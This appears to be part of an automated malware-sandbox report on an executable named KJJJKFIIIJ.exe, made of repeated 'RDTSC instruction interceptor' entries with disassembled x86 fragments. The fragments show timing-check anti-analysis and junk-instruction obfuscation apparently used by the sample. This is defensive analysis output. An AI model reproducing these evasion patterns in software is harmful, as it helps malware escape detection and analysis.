Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100E00E second address: 100E06B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add dword ptr [ebp+122D2494h], ebx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007EFC80C0D648h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d pushad 0x0000002e pushad 0x0000002f add dword ptr [ebp+122D32F6h], eax 0x00000035 mov dx, 2EF9h 0x00000039 popad 0x0000003a mov eax, ecx 0x0000003c popad 0x0000003d push 00000000h 0x0000003f adc esi, 65D0D659h 0x00000045 xchg eax, ebx 0x00000046 jng 00007EFC80C0D652h 0x0000004c jc 00007EFC80C0D64Ch 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100E9EA second address: 100E9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1011B32 second address: 1011B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10130EC second address: 10130FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C3799Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1013B63 second address: 1013B79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007EFC80C0D64Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1013B79 second address: 1013BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 or esi, 292C357Eh 0x0000000e push 00000000h 0x00000010 mov esi, dword ptr [ebp+122D2C42h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007EFC80C37998h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 xchg eax, ebx 0x00000033 jnl 00007EFC80C3799Ah 0x00000039 push eax 0x0000003a push ecx 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10145CA second address: 10145CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1018BB0 second address: 1018C0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007EFC80C379A0h 0x0000000d nop 0x0000000e add ebx, dword ptr [ebp+122D58BDh] 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 mov dword ptr [ebp+122D25B7h], eax 0x0000001d pop ebx 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edx 0x00000023 call 00007EFC80C37998h 0x00000028 pop edx 0x00000029 mov dword ptr [esp+04h], edx 0x0000002d add dword ptr [esp+04h], 0000001Dh 0x00000035 inc edx 0x00000036 push edx 0x00000037 ret 0x00000038 pop edx 0x00000039 ret 0x0000003a sbb bh, FFFFFFCEh 0x0000003d xchg eax, esi 0x0000003e push edx 0x0000003f pushad 0x00000040 jno 00007EFC80C37996h 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1018C0E second address: 1018C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 101AD57 second address: 101AD6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 101DD01 second address: 101DD0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007EFC80C0D646h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 101DD0B second address: 101DD0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 101FC66 second address: 101FCDF instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFC80C0D648h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007EFC80C0D648h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 jmp 00007EFC80C0D652h 0x0000002e mov edi, dword ptr [ebp+122D2209h] 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+122D359Dh], esi 0x0000003c push 00000000h 0x0000003e jmp 00007EFC80C0D658h 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007EFC80C0D651h 0x0000004b rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1023480 second address: 10234A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007EFC80C379A9h 0x0000000e jnc 00007EFC80C37996h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10234A9 second address: 10234EF instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFC80C0D64Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b pushad 0x0000000c sub dword ptr [ebp+122D2584h], ecx 0x00000012 mov edx, 6CD826EEh 0x00000017 popad 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D39E2h], ebx 0x00000020 push 00000000h 0x00000022 xchg eax, esi 0x00000023 pushad 0x00000024 jg 00007EFC80C0D648h 0x0000002a jne 00007EFC80C0D648h 0x00000030 popad 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jp 00007EFC80C0D646h 0x0000003c rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10234EF second address: 10234F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10234F3 second address: 10234F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10234F9 second address: 10234FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1024462 second address: 1024471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC80C0D64Bh 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1024471 second address: 1024483 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007EFC80C37996h 0x00000012 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1018EFA second address: 1018F0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007EFC80C0D646h 0x00000013 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10265A9 second address: 10265AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1018F0D second address: 1018F13 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10265AE second address: 10265B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 102974E second address: 1029758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007EFC80C0D646h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 101DF7F second address: 101DF84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 102B823 second address: 102B84D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007EFC80C0D646h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007EFC80C0D659h 0x00000016 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 102B84D second address: 102B857 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFC80C37996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1022768 second address: 102276C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 102276C second address: 1022770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1022770 second address: 1022787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007EFC80C0D646h 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1022787 second address: 102278B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 102278B second address: 102279A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007EFC80C0D646h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FC4579 second address: FC457D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FC457D second address: FC4587 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFC80C0D646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FC4587 second address: FC4599 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFC80C3799Ch 0x00000008 jng 00007EFC80C37996h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FC4599 second address: FC459F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 102675D second address: 1026761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10278F3 second address: 10278FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007EFC80C0D646h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1028917 second address: 102892E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 102892E second address: 1028938 instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFC80C0D64Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10346B7 second address: 10346BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1033D4B second address: 1033D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007EFC80C0D646h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1033D55 second address: 1033D6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007EFC80C3799Ah 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1033D6B second address: 1033D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10340B1 second address: 10340C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007EFC80C37996h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10340C1 second address: 10340DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007EFC80C0D651h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10340DF second address: 10340F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007EFC80C37996h 0x0000000e jng 00007EFC80C37996h 0x00000014 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10340F3 second address: 103410A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D653h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10397ED second address: 1039825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007EFC80C379A3h 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007EFC80C379A4h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1039825 second address: 103982F instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFC80C0D646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FCB0F6 second address: FCB102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007EFC80C37996h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FCB102 second address: FCB147 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D655h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007EFC80C0D64Fh 0x0000001a jmp 00007EFC80C0D64Ah 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FCB147 second address: FCB14D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FCB14D second address: FCB158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 103FFB4 second address: 103FFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 103FFBC second address: 103FFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C0D650h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 103FFD3 second address: 103FFE6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007EFC80C37996h 0x00000009 jnl 00007EFC80C37996h 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 103FFE6 second address: 103FFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 103FFEC second address: 103FFF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 103ED36 second address: 103ED44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 103ED44 second address: 103ED48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 103ED48 second address: 103ED70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007EFC80C0D646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007EFC80C0D659h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 103F9D2 second address: 103F9DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007EFC80C37996h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1043183 second address: 10431AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007EFC80C0D665h 0x0000000c rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10431AE second address: 10431C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10431C9 second address: 10431D3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFC80C0D646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FC0DE0 second address: FC0DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFC80C37996h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104BA72 second address: 104BA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104BBEA second address: 104BBEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104BD83 second address: 104BD8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104C061 second address: 104C08D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jne 00007EFC80C3799Ah 0x0000000b jmp 00007EFC80C379A7h 0x00000010 popad 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104C238 second address: 104C23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104C23D second address: 104C249 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFC80C3799Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104C363 second address: 104C369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104C369 second address: 104C36D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104C4EB second address: 104C520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007EFC80C0D65Eh 0x0000000b pushad 0x0000000c jmp 00007EFC80C0D64Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104C695 second address: 104C69E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104C69E second address: 104C6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104C932 second address: 104C951 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104CAC4 second address: 104CAC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104CF17 second address: 104CF20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104CF20 second address: 104CF26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104CF26 second address: 104CF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104CF2A second address: 104CF2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104B799 second address: 104B79F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104B79F second address: 104B7A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
